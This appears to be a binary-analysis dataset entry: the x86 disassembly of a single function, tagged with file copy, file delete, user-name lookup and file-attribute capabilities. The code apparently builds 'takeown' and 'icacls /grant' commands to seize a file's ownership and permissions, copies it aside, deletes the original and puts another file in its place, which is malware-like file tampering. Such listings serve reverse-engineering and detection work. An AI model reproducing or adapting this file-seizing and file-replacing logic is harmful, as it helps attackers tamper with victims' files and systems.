Function at 0x40822b
Capabilities:
Copy file
Delete file
Get session user name
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push ebx
push esi
push edi
xor eax, eax
push 0x1f
xor ebx, ebx
pop ecx
mov byte [ebp - 0x2c8], bl
lea edi, [ebp - 0x2c7]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0x7f
pop edx
xor eax, eax
mov byte [ebp - 0x248], bl
mov ecx, edx
lea edi, [ebp - 0x247]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
push 0xf
xor eax, eax
cmp dword [0x459428], 0x3c
mov byte [ebp - 0x48], bl
pop ecx
lea edi, [ebp - 0x47]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov byte [ebp - 1], bl
mov dword [ebp - 8], edx
jb 0x408321
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x2c8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
test eax, eax
je 0x4084ca
mov esi, dword [ebp + 8]
push esi
call fcn.0041431d
mov edi, dword [sym.imp.USER32.dll_wsprintfA]
push esi
lea eax, [ebp - 0x248]
push str._f__s
push eax
call edi
add esp, 0x10
push ebx
push ebx
lea eax, [ebp - 0x248]
push eax
push str.takeown
push ebx
push ebx
call dword [0x458c8c]
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
lea eax, [ebp - 0x2c8]
push eax
push esi
lea eax, [ebp - 0x248]
push str._s__grant__s:D
push eax
call edi
add esp, 0x10
push ebx
push ebx
lea eax, [ebp - 0x248]
push eax
push str.icacls
push ebx
push ebx
call dword [0x458c8c]
push 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
jmp 0x408324
mov esi, dword [ebp + 8]
push esi
call fcn.00413d9b
pop ecx
push esi
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, esi
mov ecx, eax
sub ecx, esi
jmp 0x408341
cmp byte [eax], 0x5c
je 0x40834f
dec eax
dec ecx
cmp ecx, 1
jg 0x40833a
cmp byte [eax], 0x5c
jne 0x4084ca
lea edi, [eax + 1]
cmp byte [edi], bl
je 0x4084ca
push edi
call fcn.00414594
push edi
call fcn.00414594
push edi
call fcn.00414594
push 0x200
lea eax, [ebp - 0x248]
push ebx
push eax
call fcn.00421a10
add esp, 0x18
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x248]
push eax
mov dword [ebp - 8], 0x7f
mov byte [ebp - 0x248], bl
call dword [0x458bd0]
mov esi, dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
lea eax, [ebp - 0x248]
push eax
call esi
lea eax, [ebp - 0x248]
push eax
movzx eax, byte [ebp - 0x248]
push 5
cdq
pop ecx
idiv ecx
lea eax, [ebp - 0x48]
add edx, 6
push edx
push eax
call fcn.004133d5
push 0x200
lea eax, [ebp - 0x248]
push ebx
push eax
call fcn.00421a10
mov eax, edi
sub eax, dword [ebp + 8]
push eax
push dword [ebp + 8]
lea eax, [ebp - 0x248]
push eax
call fcn.00421be0
add esp, 0x24
lea eax, [ebp - 0x48]
push eax
lea eax, [ebp - 0x248]
push eax
call esi
lea eax, [ebp - 0x248]
push eax
call fcn.004138a4
test eax, eax
pop ecx
je 0x40841e
mov byte [ebp - 1], 1
jmp 0x40842b
lea eax, [ebp - 0x248]
push eax
call fcn.00413c43
pop ecx
push 0x42a3a8
lea eax, [ebp - 0x248]
push eax
call esi
push edi
lea eax, [ebp - 0x248]
push eax
call esi
cmp byte [ebp - 1], bl
mov esi, dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
jne 0x408470
push 1
lea eax, [ebp - 0x248]
push eax
push dword [ebp + 8]
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 0x80
lea eax, [ebp - 0x248]
push eax
call esi
jmp 0x40847d
push dword [ebp + 8]
call fcn.00401e2a
test al, al
pop ecx
jne 0x4084c6
push edi
call fcn.00414594
mov dword [esp], 0xbb8
call dword [sym.imp.KERNEL32.dll_Sleep]
mov edi, dword [ebp + 8]
push 0x80
push edi
call esi
push edi
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
je 0x4084c6
push ebx
push edi
push 0x459310
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x4084c6
lea eax, [ebp - 0x248]
push edi
push eax
call fcn.00409108
pop ecx
pop ecx
mov al, 1
jmp 0x4084cc
xor al, al
pop edi
pop esi
pop ebx
leave
ret